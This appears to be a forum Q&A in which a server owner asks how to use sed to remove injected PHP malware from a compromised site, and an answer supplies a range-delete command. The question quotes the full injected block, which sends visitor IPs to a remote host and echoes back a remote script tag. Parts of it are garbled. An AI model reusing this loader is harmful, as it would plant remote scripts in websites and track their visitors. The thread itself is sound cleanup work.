mjhjmtu

One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection.

I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):

 <?php
 #7968e7#
 if (empty($ywf)) 
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) 
 function __url_get_contents($remote_url, $timeout)
 
 if (function_exists('curl_exec')) 
 $ch = curl_init();
 curl_setopt($ch, CURLOPT_URL, $remote_url);
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
 curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
 $_url_get_contents_data = curl_exec($ch);
 curl_close($ch);
 elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) 
 $ctx = @stream_context_create(array('http' =>
 array(
 'timeout' => $timeout,
 )
 ));
 $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
 elseif (function_exists('fopen') && function_exists('stream_get_contents')) 
 $handle = @fopen($remote_url, "r");
 $_url_get_contents_data = @stream_get_contents($handle);
 else 
 $_url_get_contents_data = __file_get_url_contents($remote_url);
 
 return $_url_get_contents_data;
 

if (!function_exists('__file_get_url_contents')) 
 function __file_get_url_contents($remote_url)
 $len_written != strlen($request)) 
 // Error sending request
 return FALSE;
 
 $response = "";
 while (!@feof($socket) &&
 ($buf = @fread($socket, 4096)) !== FALSE) 
 $response .= $buf;
 
 if ($buf === FALSE) 
 // Error reading response
 return FALSE;
 
 $end_of_header = strpos($response, "rnrn");
 return substr($response, $end_of_header + 4);
 


if (empty($__var_to_echo) && empty($remote_domain)) 
 $_ip = $_SERVER['REMOTE_ADDR'];
 $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
 $ywf = __url_get_contents($ywf."?a=$_ip", 1);
 if (strpos($ywf, 'http://') === 0) 
 $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
 echo $__var_to_echo;
 

 
 #/7968e7#
 ?>
 <?php

 ?>

It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.

First do a backup.

This will remove the lines between the tags #7968e7# and #/7968e7# the original file will be kept with .bkp extension but it's better if you have a backup.

 sed -i.bkp '/#7968e7#/,/#/7968e7#/ d' filename 

It will leaves empty php blocks.

<?php
?>
<?php

?>